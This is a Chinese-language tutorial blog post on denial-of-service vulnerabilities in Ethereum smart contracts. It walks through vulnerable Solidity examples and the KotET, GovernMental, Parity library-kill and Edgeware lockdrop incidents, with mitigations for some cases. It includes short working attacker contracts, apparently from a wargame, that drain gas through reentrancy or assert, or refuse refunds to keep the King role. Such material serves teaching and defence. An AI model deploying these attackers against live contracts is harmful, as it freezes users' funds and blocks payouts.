拒绝服务漏洞

Posted by Thomas_Xu on 2022-06-20

合约中的拒绝服务漏洞:


author:Thomas_Xu

何为Dos

DoS 是DenialOfService,拒绝服务的缩写[3],从字面上来理解,就是用户所需要的服务请求无法被系统处理。
打个比方来形容DoS,火车站是为大家提供乘车服务的,如果想要DoS火车站的话,方法有很多,可以占用过道不上车,堵住售票点不付钱,阻挠列车员或者司机不让开车,甚至用破坏铁轨等更加极端的手段来影响车站服务的正常运营。
过去针对互联网的DoS有很多种方法,但基本分为三大类:利用软件实现的缺陷,利用协议的漏洞,利用资源压制[3]。
此外还有DDoS,称为分布式DoS,其区别就是攻击者利用远程操控的计算机同时向目标发起进攻,在上面的比喻中可以理解为雇佣了几百个地痞流氓来做同样的事影响车站的运作。

事件回顾

2016年2月6日至8日The King of the Ether Throne(以下简称KotET)“纷争时代”(Turbulent Age)期间,许多游戏中的退位君王的补偿和未接受款项无法退回用户玩家的钱包.
具有讽刺意味的是同年6月,连庞氏骗局GovernMental的合约也遭遇DoS攻击,当时1100以太币是通过使用250万gas交易获得[2],这笔交易超出了合约能负荷的gas上限,带来交易活动的暂停。

无论是蓄意破坏交易正常流程还是阻塞交易通道,都用到了一个互联网时代已经盛行已久的攻击方式——DoS,也就是我们所说的拒绝服务攻击。
这种攻击方式可以让合约执行的正常的交易操作被扰乱,中止,冻结,更严重的是让合约本身的逻辑无法运行

已知漏洞的类型

  1. 未设定gas费率的外部调用
  2. 依赖外部的调用进展
  3. owner错误操作
  4. 数组或映射过长
  5. 逻辑设计错误
  6. 缺少依赖库

未设定gas费率的外部调用

在合约中你可能想要通过call调用去执行某些东西的时候,因为未设定gas费率导致可能发生恶意的调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Denial {

using SafeMath for uint256;
address public partner; // withdrawal partner - pay the gas, split the withdraw
address payable public constant owner = address(0xA9E);
uint timeLastWithdrawn;
mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances

function setWithdrawPartner(address _partner) public {
partner = _partner;
}

// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint amountToSend = address(this).balance.div(100);
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call.value(amountToSend)("");
owner.transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = now;
withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
}

// allow deposit of funds
fallback() external payable {}

// convenience function
function contractBalance() public view returns (uint) {
return address(this).balance;
}
}

从合约的代码中我们很容易发现这里存在一个重入漏洞,所以可以通过部署了一个利用重入漏洞的合约,把gas直接消耗光,那么owner 自然收不到钱了,从而造成DOS。
1
2
3
4
5
6
7
8
9
10
11
12
13
contract Attack{
address instance_address = instance_address_here;
Denial target = Denial(instance_address);

function hack() public {
target.setWithdrawPartner(address(this));
target.withdraw();
}

function () payable public {
target.withdraw();
}
}

或者assert 函数触发异常之后会消耗所有可用的 gas,消耗了所有的 gas 那就没法转账了
1
2
3
4
5
6
7
8
9
10
11
contract Attack{
address instance_address = instance_address_here;
Denial target = Denial(instance_address);
function hack() public {
target.setWithdrawPartner(address(this));
target.withdraw();
}
function () payable public {
assert(0==1);
}
}

  • 解决方案

    使用call函数时可以调试出执行操作需要的大致gas费率,在call函数指定稍大一些费率,避免攻击发生。

    依赖外部的调用进展

    这类漏洞常见于竞拍的合约当中,你的想法是如果有人出价高于现阶段的价格,就把当前的竞拍者的token退还给他,再去更新竞拍者,殊不知transfer函数执行失败后,亦会使下面的步骤无法执行。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    pragma solidity ^0.6.0;

    contract King {

    address payable king;
    uint public prize;
    address payable public owner;

    constructor() public payable {
    owner = msg.sender;
    king = msg.sender;
    prize = msg.value;
    }

    fallback() external payable {
    require(msg.value >= prize || msg.sender == owner);
    king.transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
    }

    function _king() public view returns (address payable) {
    return king;
    }
    }

    谁发送大于 king 的金额就能成为新的 king,但是要先把之前的国王的钱退回去才能更改 king。只要我们一直不接受退回的奖金,那我们就能够一直保持 king 的身份,那就把合约的fallback函数不弄成payable就能一直不接受了。当然第一步是先成为King

    1
    2
    3
    4
    5
    6
    7
    8
    pragma solidity ^0.4.18;

    contract Attacker{
    constructor(address target) public payable{
    target.call.gas(1000000).value(msg.value)();
    }
    }
    //未定义fallback函数,就没有payable修饰
  • 解决方案

owner错误操作

本类型涉及到函数修饰关键词的使用,owner可以设定合约的当前状态,因为错误的操作使得当前合约的状态设置为不可交易,出现非主观的拒绝服务。将令牌系统理解为股市,有时需要进行休市操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
pragma solidity ^0.4.24;

contract error{
address owner;
bool activestatus;

modifier onlyowner{
require(msg.sender==owner);
_;
}
modifier active{
require(activestatus);
_;
}
function activecontract() onlyowner{
activestatus = true;
}
function inactivecontract() onlyowner{
activestatus = false;
}
function transfer() active{

}

}

如果owner调用了inactivecontract函数,使得activestatus变成false

之后所有被active修饰的函数都无法调用,无法通过require判定

令牌生态系统的整个操作取决于一个地址,这是非常危险的

数组或映射过长

本类型的漏洞存在于利益分发合约,类似于公司给股东的分红,但是由于以太坊区块有gas费率交易上限,如果数组过大会导致操作执行的gas远远超出上限,从而导致交易失败,也就无法分红

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
contract DistributeTokens {
address public owner; // gets set somewhere
address[] investors; // array of investors
uint[] investorTokens; // the amount of tokens each investor gets

// ... extra functionality, including transfertoken()

function invest() public payable {
investors.push(msg.sender);
investorTokens.push(msg.value * 5); // 5 times the wei sent
}

function distribute() public {
require(msg.sender == owner); // only owner
for(uint i = 0; i < investors.length; i++) {
// here transferToken(to,amount) transfers "amount" of tokens to the address "to"
transferToken(investors[i],investorTokens[i]);
}
}
}

该漏洞的另一个关键点在于循环遍历的数组可以被人为扩充
在distribute()函数中使用的循环数组的扩充在invert()函数里面,但是invert()函数是public属性,也就意味着可以创建很多的用户账户,让数组变得非常大,从而使distribute()函数因为超出以太坊区块gas费率上限而无法成功执行

依赖库问题

依赖外部的合约库。如果外部合约的库被删除,那么所有依赖库的合约服务都无法使用。有些合约用于接受ether,并转账给其他地址。但是,这些合约本身并没有自己实现一个转账函数,而是通过delegatecall去调用一些其他合约中的转账函数去实现转账的功能。

万一这些提供转账功能的合约执行suicide或self-destruct操作的话,那么,通过delegatecall调用转账功能的合约就有可能发生ether被冻结的情况

Parity 钱包遭受的第二次攻击是一个很好的例子。

Parity 钱包提供了多签钱包的库合约。当库合约的函数被 delegatecall 调用时,它是运行在调用方(即:用户多签合约)的上下文里,像 m_numOwners 这样的变量都来自于用户多签合约的上下文。另外,为了能被用户合约调用,这些库合约的初始化函数都是public的。

库合约本质上也不过是另外一个智能合约,这次攻击调用使用的是库合约本身的上下文,对调用者而言这个库合约是未经初始化的。

  • 攻击流程

    1.攻击者调用初始化函数把自己设置为库合约的 owner。

    2.攻击者调用 kill() 函数,把库合约删除,所有的 ether 就被冻结了

  • 解决方案
    继承库合约后,对于可以改变指智能合约存储状态的函数,尽量采取重写的方式,避免被恶意调用。特别是owner修饰词,转账函数。

逻辑设计错误

本类型漏洞分析Edgeware锁仓合约的拒绝服务漏洞

Edgeware锁仓合约可以理解为你往银行里定期存款,之后会给你收益,关键点在于发送token后要进行lock操作,把你的资金锁起来,暂时无法提现,本类型漏洞会导致参与者lock失败,从而无法获得收益。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function lock(Term term, bytes calldata edgewareAddr, bool isValidator)
external
payable
didStart
didNotEnd
{
uint256 eth = msg.value;
address owner = msg.sender;
uint256 unlockTime = unlockTimeForTerm(term);
// Create ETH lock contract
Lock lockAddr = (new Lock).value(eth)(owner, unlockTime);
// ensure lock contract has at least all the ETH, or fail
assert(address(lockAddr).balance >= msg.value);
emit Locked(owner, eth, lockAddr, term, edgewareAddr, isValidator, now);
}

这段代码做了强制判断:
assert(address(lockAddr).balance >= msg.value);
属于参与者的 Lock 合约的金额必须等于参与者锁仓时发送的金额,如果不等于,意味着 lock 失败,这个失败会导致参与者的 Lock 合约“瘫痪”而形成“拒绝服务”,直接后果就是:假如攻击持续着,Edgeware 这个 Lockdrop 机制将不再可用。 但这个漏洞对参与者的资金无影响。那么,什么情况下会导致“address(lockAddr).balance 不等于 msg.value” 攻击者如果能提前推测出参与者的 Lock 合约地址就行(这在以太坊黄皮书里有明确介绍,可以计算出来),此时攻击者只需提前往参与者的 Lock 合约地址随便转点 ETH 就好,就会导致参与者无法lock从而无法获取收益


notice

true

This is copyright.

...

...

00:00
00:00